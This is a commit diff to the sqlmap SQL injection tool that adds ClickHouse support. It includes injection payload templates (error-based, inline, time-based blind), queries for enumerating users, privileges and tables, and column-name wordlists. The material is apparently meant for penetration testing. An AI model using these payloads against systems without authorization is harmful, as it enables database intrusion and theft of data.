Fixes #5358 (related to #5050)

Co-authored-by: pentest <>

.github/ISSUE_TEMPLATE/bug_report.md

@@ -21,10 +21,10 @@ A clear and concise description of what you expected to happen.
 If applicable, add screenshots to help explain your problem.
 
 **Running environment:**
- - sqlmap version [e.g. 1.3.5.93#dev]
- - Installation method [e.g. git]
- - Operating system: [e.g. Microsoft Windows 10]
- - Python version [e.g. 3.5.2]
+ - sqlmap version [e.g. 1.7.2.12#dev]
+ - Installation method [e.g. pip]
+ - Operating system: [e.g. Microsoft Windows 11]
+ - Python version [e.g. 3.11.2]
 
 **Target details:**
  - DBMS [e.g. Microsoft SQL Server]

data/txt/common-columns.txt

@@ -1844,6 +1844,10 @@ banner_id
 error
 language_id
 val
+parol
+familiya
+imya
+otchestvo
 
 # site:jp
 
@@ -2731,6 +2735,34 @@ ssn
 account
 confidential
 
+# site:nl
+
+naam
+straat
+gemeente
+beschrijving
+id_gebruiker
+gebruiker_id
+gebruikersnaam
+wachtwoord
+telefoon
+voornaam
+achternaam
+geslacht
+huisnummer
+gemeente
+leeftijd
+
+# site:cn
+
+yonghuming
+mima
+xingming
+xingbie
+touxiang
+youxiang
+shouji
+
 # Misc
 
 u_pass

data/txt/common-outputs.txt

@@ -399,6 +399,7 @@ XDBWEBSERVICES
 
 # MySQL
 information_schema
+performance_schema
 mysql
 phpmyadmin
 

data/txt/common-tables.txt

@@ -3578,3 +3578,11 @@ users
 user_usergroup_map
 viewlevels
 weblinks
+
+# site:nl
+
+gebruikers
+
+# site:cn
+
+yonghu

data/xml/errors.xml

@@ -211,6 +211,11 @@
         <error regexp="Syntax error,[^\n]+assumed to mean"/>
     </dbms>
 
+    <dbms value="ClickHouse">
+        <error regexp="Code: \d+. DB::Exception:"/>
+        <error regexp="Syntax error: failed at position \d+"/>
+    </dbms>
+
     <dbms value="CrateDB">
         <error regexp="io\.crate\.client\.jdbc"/>
     </dbms>

data/xml/payloads/error_based.xml

@@ -838,7 +838,7 @@
         <title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
         <stype>2</stype>
         <level>4</level>
-        <risk>1</risk>
+        <risk>3</risk>
         <clause>1</clause>
         <where>1</where>
         <vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
@@ -853,6 +853,44 @@
         </details>
     </test>
 
+    <test>
+        <title>ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>ClickHouse</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
+        <stype>2</stype>
+        <level>4</level>
+        <risk>3</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>ClickHouse</dbms>
+        </details>
+    </test>
+
     <!--
          TODO: if possible, add payload for SQLite, Microsoft Access,
          and SAP MaxDB - no known techniques at this time

data/xml/payloads/inline_query.xml

@@ -133,5 +133,25 @@
             <dbms>Firebird</dbms>
         </details>
     </test>
+
+    <test>
+        <title>ClickHouse inline queries</title>
+        <stype>3</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,2,3,8</clause>
+        <where>3</where>
+        <vector>('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>ClickHouse</dbms>
+        </details>
+    </test>
+    
     <!-- End of inline queries tests -->
 </root>

data/xml/payloads/time_blind.xml

@@ -195,9 +195,9 @@
         <risk>2</risk>
         <clause>1,2,3,8,9</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
+        <vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
         <request>
-            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
+            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
         </request>
         <response>
             <time>[DELAYED]</time>
@@ -235,9 +235,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
+        <vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
         <request>
-            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
+            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
         </request>
         <response>
             <time>[DELAYED]</time>
@@ -276,9 +276,9 @@
         <risk>2</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
+        <vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
         <request>
-            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
+            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -318,9 +318,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
+        <vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
         <request>
-            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
+            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -1494,6 +1494,44 @@
         </details>
     </test>
 
+    <test>
+        <title>ClickHouse AND time-based blind (heavy query)</title>
+        <stype>5</stype>
+        <level>4</level>
+        <risk>1</risk>
+        <clause>1,2,3</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))</vector>
+        <request>
+            <payload>AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))</payload>
+        </request>
+        <response>
+            <time>[DELAYED]</time>
+        </response>
+        <details>
+            <dbms>ClickHouse</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>ClickHouse OR time-based blind (heavy query)</title>
+        <stype>5</stype>
+        <level>5</level>
+        <risk>3</risk>
+        <clause>1,2,3</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))</vector>
+        <request>
+            <payload>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))</payload>
+        </request>
+        <response>
+            <time>[DELAYED]</time>
+        </response>
+        <details>
+            <dbms>ClickHouse</dbms>
+        </details>
+    </test>
+
     <!-- End of time-based boolean tests -->
 
     <!-- Time-based boolean tests - Numerous clauses -->
@@ -1608,9 +1646,9 @@
         <risk>2</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
+        <vector>IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
         <request>
-            <payload>(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
+            <payload>(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
         </request>
         <response>
             <time>[DELAYED]</time>

data/xml/queries.xml

@@ -938,8 +938,8 @@
         <length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
         <isnull query="COALESCE(%s,' ')"/>
         <delimiter query="||"/>
-        <limit query="{LIMIT %d OFFSET %d}"/>
-        <limitregexp query="{LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)}"/>
+        <limit query="OFFSET %d ROWS FETCH FIRST %d ROWS ONLY"/>
+        <limitregexp query="OFFSET\s+([\d]+)\s+ROWS\s+FETCH\s+FIRST\s+([\d]+)\s+ROWS\s+ONLY"/>
         <limitgroupstart query="2"/>
         <limitgroupstop query="1"/>
         <limitstring/>
@@ -962,11 +962,11 @@
         <is_dba query="(SELECT COUNT(*) FROM SYS.SYSUSERS)>=0"/>
         <dbs>
             <inband query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS"/>
-            <blind query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS {LIMIT 1 OFFSET %d}" count="SELECT COUNT(SCHEMANAME) FROM SYS.SYSSCHEMAS"/>
+            <blind query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS OFFSET %d ROWS FETCH FIRST 1 ROW ONLY" count="SELECT COUNT(SCHEMANAME) FROM SYS.SYSSCHEMAS"/>
         </dbs>
         <tables>
             <inband query="SELECT SCHEMANAME,TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID" condition="SCHEMANAME"/>
-            <blind query="SELECT TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s' {LIMIT 1 OFFSET %d}" count="SELECT COUNT(TABLENAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'"/>
+            <blind query="SELECT TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s' OFFSET %d ROWS FETCH FIRST 1 ROW ONLY" count="SELECT COUNT(TABLENAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'"/>
         </tables>
         <columns>
             <!-- NOTE: COLUMNDATATYPE without CAST() causes problems during enumeration -->
@@ -975,11 +975,11 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s"/>
-            <blind query="SELECT %s FROM %s {LIMIT 1 OFFSET %d}" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM %s OFFSET %d ROWS FETCH FIRST 1 ROW ONLY" count="SELECT COUNT(*) FROM %s"/>
         </dump_table>
         <users>
             <inband query="SELECT USERNAME FROM SYS.SYSUSERS"/>
-            <blind query="SELECT USERNAME FROM SYS.SYSUSERS {LIMIT 1 OFFSET %d}" count="SELECT COUNT(USERNAME) FROM SYS.SYSUSERS"/>
+            <blind query="SELECT USERNAME FROM SYS.SYSUSERS OFFSET %d ROWS FETCH FIRST 1 ROW ONLY" count="SELECT COUNT(USERNAME) FROM SYS.SYSUSERS"/>
         </users>
         <!-- NOTE: No one can view the 'SYSUSERS'.'PASSWORD' column -->
         <passwords/>
@@ -1319,6 +1319,75 @@
         </search_column>
     </dbms>
 
+    <dbms value="ClickHouse">
+        <cast query="CAST(%s AS String)"/>
+        <length query="length(%s)"/>
+        <isnull query="ifNull(%s, '')"/>
+        <delimiter query="||"/>
+        <limit query="LIMIT %d OFFSET %d"/>
+        <limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="2"/>
+        <limitgroupstop query="1"/>
+        <limitstring query=" LIMIT "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--" query2="//"/>
+        <substring query="substring(%s,%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
+        <inference query="substring((%s),%d,1)>'%c'" />
+        <banner query="select version()"/>
+        <current_user query="currentUser()"/>
+        <current_db query="currentDatabase()"/>
+        <hostname query="hostName()"/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba query="(SELECT access_type FROM system.grants WHERE user_name=currentUser())='ALL'"/>
+        <check_udf/>
+        <users>
+            <inband query="SELECT name FROM system.users"/>
+            <blind query="SELECT name FROM system.users LIMIT %d,1" count="SELECT COUNT(name) FROM system.users"/>
+        </users>
+        <passwords/>
+        <privileges>
+            <inband query="SELECT DISTINCT user_name,access_type FROM system.grants" condition="user_name"/>
+            <blind query="SELECT DISTINCT(access_type) FROM system.grants WHERE user_name='%s' ORDER BY access_type LIMIT %d,1" count="SELECT COUNT(DISTINCT(access_type)) FROM system.grants WHERE user_name='%s'"/>
+        </privileges>
+        <roles>
+            <inband query="SELECT DISTINCT user_name,role_name FROM system.role_grants" condition="user_name"/>
+            <blind query="SELECT DISTINCT(role_name) FROM system.role_grants WHERE user_name='%s' ORDER BY role_name LIMIT %d,1" count="SELECT COUNT(DISTINCT(role_name)) FROM system.role_grants WHERE user_name='%s'"/>
+        </roles>
+        <statements/>
+        <dbs>
+            <inband query="SELECT schema_name FROM information_schema.schemata"/>
+            <blind query="SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(schema_name) FROM information_schema.schemata"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT table_schema,table_name FROM information_schema.tables" condition="table_schema"/>
+            <blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+            <blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s' LIMIT %d,1" query2="SELECT column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1 " count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_table>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
+        </search_column>
+        <search_db>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+            <blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+        </search_db>
+    </dbms>
+
     <dbms value="CrateDB">
         <cast query="CAST(%s AS TEXT)"/>
         <length query="CHAR_LENGTH((%s)::text)"/>

doc/CHANGELOG.md

@@ -1,3 +1,8 @@
+# Version 1.7 (2022-01-02)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1)
+
 # Version 1.6 (2022-01-03)
 
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6)

extra/cloak/cloak.py

@@ -21,7 +21,7 @@ if sys.version_info >= (3, 0):
     xrange = range
     ord = lambda _: _
 
-KEY = b"ENWsCymUeJcXqSbD"
+KEY = b"E6wRbVhD0IBeCiGJ"
 
 def xor(message, key):
     return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))

lib/controller/controller.py

@@ -512,6 +512,23 @@ def start():
                         testSqlInj = True
                         paramKey = (conf.hostname, conf.path, place, parameter)
 
+                        if kb.processUserMarks:
+                            if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
+                                if kb.processNonCustom is None:
+                                    message = "other non-custom parameters found. "
+                                    message += "Do you want to process them too? [Y/n/q] "
+                                    choice = readInput(message, default='Y').upper()
+
+                                    if choice == 'Q':
+                                        raise SqlmapUserQuitException
+                                    else:
+                                        kb.processNonCustom = choice == 'Y'
+
+                                if not kb.processNonCustom:
+                                    infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
+                                    logger.info(infoMsg)
+                                    continue
+
                         if paramKey in kb.testedParams:
                             testSqlInj = False
 

lib/controller/handler.py

@@ -14,6 +14,7 @@ from lib.core.exception import SqlmapConnectionException
 from lib.core.settings import ACCESS_ALIASES
 from lib.core.settings import ALTIBASE_ALIASES
 from lib.core.settings import CACHE_ALIASES
+from lib.core.settings import CLICKHOUSE_ALIASES
 from lib.core.settings import CRATEDB_ALIASES
 from lib.core.settings import CUBRID_ALIASES
 from lib.core.settings import DB2_ALIASES
@@ -46,6 +47,8 @@ from plugins.dbms.altibase.connector import Connector as AltibaseConn
 from plugins.dbms.altibase import AltibaseMap
 from plugins.dbms.cache.connector import Connector as CacheConn
 from plugins.dbms.cache import CacheMap
+from plugins.dbms.clickhouse.connector import Connector as ClickHouseConn
+from plugins.dbms.clickhouse import ClickHouseMap
 from plugins.dbms.cratedb.connector import Connector as CrateDBConn
 from plugins.dbms.cratedb import CrateDBMap
 from plugins.dbms.cubrid.connector import Connector as CubridConn
@@ -122,6 +125,7 @@ def setHandler():
         (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
         (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
         (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
+        (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, ClickHouseConn),
         (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
         (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
         (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),

lib/core/agent.py

@@ -1027,8 +1027,8 @@ class Agent(object):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
             limitedQuery += " %s" % limitStr
 
-        elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB):
-            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
+        elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB, DBMS.CLICKHOUSE):
+            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
             limitedQuery += " %s" % limitStr
 
         elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO):

lib/core/common.py

@@ -5327,6 +5327,7 @@ def parseRequestFile(reqFile, checkParams=True):
                     continue
 
             getPostReq = False
+            forceBody = False
             url = None
             host = None
             method = None
@@ -5347,7 +5348,7 @@ def parseRequestFile(reqFile, checkParams=True):
                 line = line.strip('\r')
                 match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None
 
-                if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
+                if len(line.strip()) == 0 and method and (method != HTTPMETHOD.GET or forceBody) and data is None:
                     data = ""
                     params = True
 
@@ -5394,6 +5395,7 @@ def parseRequestFile(reqFile, checkParams=True):
                     # headers and consider the following lines as
                     # POSTed data
                     if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper():
+                        forceBody = True
                         params = True
 
                     # Avoid proxy and connection type related headers

lib/core/dicts.py

@@ -38,6 +38,7 @@ from lib.core.settings import SQLITE_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import VERTICA_ALIASES
 from lib.core.settings import VIRTUOSO_ALIASES
+from lib.core.settings import CLICKHOUSE_ALIASES
 
 FIREBIRD_TYPES = {
     261: "BLOB",
@@ -241,6 +242,7 @@ DBMS_DICT = {
     DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
     DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
     DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
+    DBMS.CLICKHOUSE: (CLICKHOUSE_ALIASES, "clickhouse_connect", "https://github.com/ClickHouse/clickhouse-connect", None),
     DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"),
     DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None),
     DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None),
@@ -268,7 +270,7 @@ HEURISTIC_NULL_EVAL = {
     DBMS.ACCESS: "CVAR(NULL)",
     DBMS.MAXDB: "ALPHA(NULL)",
     DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
-    DBMS.MYSQL: "QUARTER(NULL)",
+    DBMS.MYSQL: "QUARTER(NULL XOR NULL)",
     DBMS.ORACLE: "INSTR2(NULL,NULL)",
     DBMS.PGSQL: "QUOTE_IDENT(NULL)",
     DBMS.SQLITE: "UNLIKELY(NULL)",
@@ -286,6 +288,7 @@ HEURISTIC_NULL_EVAL = {
     DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
     DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))",
     DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
+    DBMS.CLICKHOUSE: "halfMD5(NULL) IS NULL",
 }
 
 SQL_STATEMENTS = {

lib/core/enums.py

@@ -52,6 +52,7 @@ class DBMS(object):
     PRESTO = "Presto"
     ALTIBASE = "Altibase"
     MIMERSQL = "MimerSQL"
+    CLICKHOUSE = "ClickHouse"
     CRATEDB = "CrateDB"
     CUBRID = "Cubrid"
     CACHE = "InterSystems Cache"
@@ -81,6 +82,7 @@ class DBMS_DIRECTORY_NAME(object):
     PRESTO = "presto"
     ALTIBASE = "altibase"
     MIMERSQL = "mimersql"
+    CLICKHOUSE = "clickhouse"
     CRATEDB = "cratedb"
     CUBRID = "cubrid"
     CACHE = "cache"

lib/core/option.py

@@ -2145,6 +2145,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.prependFlag = False
     kb.processResponseCounter = 0
     kb.previousMethod = None
+    kb.processNonCustom = None
     kb.processUserMarks = None
     kb.proxyAuthHeader = None
     kb.queryCounter = 0

lib/core/settings.py

@@ -20,7 +20,7 @@ from thirdparty import six
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.7.2.0"
+VERSION = "1.7.3.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -283,6 +283,7 @@ PRESTO_SYSTEM_DBS = ("information_schema",)
 ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
 MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
 CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys")
+CLICKHOUSE_SYSTEM_DBS = ("information_schema", "INFORMATION_SCHEMA", "system")
 CUBRID_SYSTEM_DBS = ("DBA",)
 CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS")
 EXTREMEDB_SYSTEM_DBS = ("",)
@@ -313,6 +314,7 @@ ALTIBASE_ALIASES = ("altibase",)
 MIMERSQL_ALIASES = ("mimersql", "mimer")
 CRATEDB_ALIASES = ("cratedb", "crate")
 CUBRID_ALIASES = ("cubrid",)
+CLICKHOUSE_ALIASES = ("clickhouse",)
 CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris")
 EXTREMEDB_ALIASES = ("extremedb", "extreme")
 FRONTBASE_ALIASES = ("frontbase",)
@@ -321,10 +323,10 @@ VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso")
 
